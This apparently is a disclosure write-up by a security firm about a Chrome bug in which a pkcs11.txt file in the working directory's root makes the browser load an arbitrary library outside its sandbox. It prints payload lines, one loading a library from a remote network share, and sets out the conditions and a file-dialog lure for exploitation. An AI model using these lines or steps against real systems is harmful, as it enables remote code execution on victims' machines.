Chrome 15, released two days ago, makes this bug even harder to exploit as its phishing and malware protection (enabled by default in Chrome's Under the Hood options) now sends an HTTPS request to one of its servers immediately upon startup. Therefore, in addition to not having Google as the search engine and not having visited any HTTPS addresses before the attack, the user would also have to disable phishing and malware protection in order for this bug to be exploitable.] Thirty days ago our company notified Google about a peculiar behavior of Chrome browser that can be exploited for execution of remote code outside Chrome sandbox under specific conditions. It is another case of file planting, where an application loads a data file (as opposed to binary file, leading to binary planting) from the current working directory. Similarly to our previously reported file planting in Java Runtime Environment (still there in current build 1.6.0_29 if you want to play with it), Chrome loads a data file, namely pkcs11.txt, from the root of the current working directory and in case the file exists, parses and processes its content. Security-wise, the most interesting value in a pkcs11.txt file is called library. Consider the following line in pkcs11.txt: library=c:\temp\malicious.dll This line will instruct Chrome to load library c:\temp\malicious.dll. To allow remote code execution attacks, it works with remote shared folders too; in our demonstration, the following line is used: library=\\www.binaryplanting.com\demo\chrome_pkcs11Planting\malicious.lib In addition, the library file doesn't have to have a known extension (such as ".dll"), which makes it harder to block it on a firewall. Finally, Chrome sandbox doesn't provide any protection here as the entire process of loading pkcs11.txt and the associated library is done by the parent chrome.exe process. HTTPS, NSS And pkcs11.txt Chrome loads "/pkcs11.txt" the first time it needs to do anything encryption-related, which in most cases means visiting an HTTPS URL. Chrome developers tracked this issue to one of Mozilla's Network Security Services (NSS) libraries, and it seems that it is a matter of unfortunate circumstances that gave life to this bug in Chrome, although the same bug may potentially exist in some other products integrating NSS libraries. Exploit Conditions If you carefully read the previous paragraph, you noticed two things: Chrome loads pkcs11.txt the first time it needs PKCS #11 capabilities, and it never does it again until re-launched. This means that if the user has already visited an HTTPS address before, or any of the sites he visited has loaded an image or any other data via HTTPS, the attack opportunity is gone. What makes things worse for the attacker is the fact that when Google is the selected search engine - and it is by default -, Chrome sends a request to https://www.google.com/searchdomaincheck... to determine your local Google domain immediately upon startup. This triggers the loading of pkcs11.txt from the root of user's local system drive and closes the attacker's window of opportunity before it was ever really opened. The initial forward slash in the file name "/pkcs11.txt" means that pkcs11.txt will be loaded from the root of the current working directory, and not from the current working directory. For instance, if current working directory is C:\users\james\, Chrome will try to load C:\pkcs11.txt. In a shared folder case, if current working directory is \\server\share\somefolder\, Chrome will try to load \\server\share\pkcs11.txt. So how can this vulnerability be exploited? Three conditions need to be met: Google must not be the selected search engine. This setting is configurable under the Options page, and users can set Yahoo, Bing, or any other search provider as their selected search engine. We confirmed that Yahoo and Bing don't send any HTTPS requests when Chrome is launched and are therefore suitable for mounting the attack. User must not have visited any HTTPS resources before the attack. As described above, the attack relies on the fact that the NSS capabilities have not been initialized yet in the running parent Chrome process. Ideally for the attacker, the user would have just launched Chrome and not visit any web sites that send HTTPS requests. Chrome's current working directory must be set to attacker-controlled location. Since Chrome sets its current working directory to its own folder on user's machine upon startup, double-clicking on HTML file in a remote shared folder (which often works for binary planting attacks) wouldn't achieve anything for the attacker. The best remaining way we know of to set the current working directory in Chrome are then the file browse dialogs. If the attacker could get the user to try to load a file from her network shared folder, and trigger the first HTTPS request while the user had this folder opened in the "Open" dialog, Chrome would load pkcs11.txt from the root of attacker's network share and load the library specified in it.